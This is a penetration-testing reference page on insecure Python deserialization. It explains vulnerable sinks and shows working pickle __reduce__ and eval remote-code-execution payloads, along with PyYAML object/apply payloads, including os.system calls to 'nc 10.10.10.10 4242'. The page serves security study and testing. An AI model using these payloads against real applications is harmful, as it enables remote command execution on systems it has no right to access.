python.md (5728B)
1 --- 2 title: "Python Deserialization" 3 topic: "Insecure Deserialization" 4 topicSlug: "insecure-deserialization" 5 sourcePath: "Insecure Deserialization/Python.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Insecure%20Deserialization/Python.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # Python Deserialization 12 13 > Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes. 14 15 ## Summary 16 17 * [Tools](#tools) 18 * [Methodology](#methodology) 19 * [Pickle](#pickle) 20 * [PyYAML](#pyyaml) 21 * [References](#references) 22 23 ## Tools 24 25 * [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data. 26 27 ## Methodology 28 29 In Python source code, look for these sinks: 30 31 * `cPickle.loads` 32 * `pickle.loads` 33 * `_pickle.loads` 34 * `jsonpickle.decode` 35 36 ### Pickle 37 38 The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object. 39 :warning: `import cPickle` will only work on Python 2 40 41 ```python 42 import cPickle 43 from base64 import b64encode, b64decode 44 45 class User: 46 def __init__(self): 47 self.username = "anonymous" 48 self.password = "anonymous" 49 self.rank = "guest" 50 51 h = User() 52 auth_token = b64encode(cPickle.dumps(h)) 53 print("Your Auth Token : {}").format(auth_token) 54 ``` 55 56 The vulnerability is introduced when a token is loaded from an user input. 57 58 ```python 59 new_token = raw_input("New Auth Token : ") 60 token = cPickle.loads(b64decode(new_token)) 61 print "Welcome {}".format(token.username) 62 ``` 63 64 Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server. 65 66 > The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source. 67 68 ```python 69 import cPickle, os 70 from base64 import b64encode, b64decode 71 72 class Evil(object): 73 def __reduce__(self): 74 return (os.system,("whoami",)) 75 76 e = Evil() 77 evil_token = b64encode(cPickle.dumps(e)) 78 print("Your Evil Token : {}").format(evil_token) 79 ``` 80 81 A universal payload can be created by loading `os` at runtime using eval: 82 83 ```python 84 import pickle 85 import base64 86 87 class RCE: 88 def __reduce__(self): 89 return eval, ("__import__('os').system('whoami')",) 90 pickled = pickle.dumps(RCE()) 91 print(base64.b64encode(pickled).decode()) 92 ``` 93 94 This approach allows running arbitrary python code, which allows us to use different techniques from code injection: 95 96 ```python 97 __import__('os').system('whoami') # Reflected RCE 98 getattr('', __import__('os').popen('whoami').read()) # Error-Based RCE 99 1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE 100 __include__("os").popen("id && sleep 5").read() # Time-Based RCE 101 ``` 102 103 ### PyYAML 104 105 YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures. 106 107 ```yaml 108 !!python/object/apply:time.sleep [10] 109 !!python/object/apply:builtins.range [1, 10, 1] 110 !!python/object/apply:os.system ["nc 10.10.10.10 4242"] 111 !!python/object/apply:os.popen ["nc 10.10.10.10 4242"] 112 !!python/object/new:subprocess [["ls","-ail"]] 113 !!python/object/new:subprocess.check_output [["ls","-ail"]] 114 ``` 115 116 ```yaml 117 !!python/object/apply:subprocess.Popen 118 - ls 119 ``` 120 121 ```yaml 122 !!python/object/new:str 123 state: !!python/tuple 124 - 'print(getattr(open("flag\x2etxt"), "read")())' 125 - !!python/object/new:Warning 126 state: 127 update: !!python/name:exec 128 ``` 129 130 Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR #420 - Fix](https://github.com/yaml/pyyaml/issues/420) 131 132 The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`. 133 134 ```py 135 with open('exploit_unsafeloader.yml') as file: 136 data = yaml.load(file,Loader=yaml.UnsafeLoader) 137 ``` 138 139 ## References 140 141 * [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://web.archive.org/web/20250501184227/https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/) 142 * [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://web.archive.org/web/20260211161939/https://blog.nelhage.com/2011/03/exploiting-pickle/) 143 * [Python Yaml Deserialization - HackTricks - July 19, 2024](https://web.archive.org/web/20241216145404/https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization) 144 * [PyYAML Documentation - PyYAML - April 29, 2006](https://web.archive.org/web/20260219140302/https://pyyaml.org/wiki/PyYAMLDocumentation) 145 * [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://web.archive.org/web/20250604032318/https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf) 146 * [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)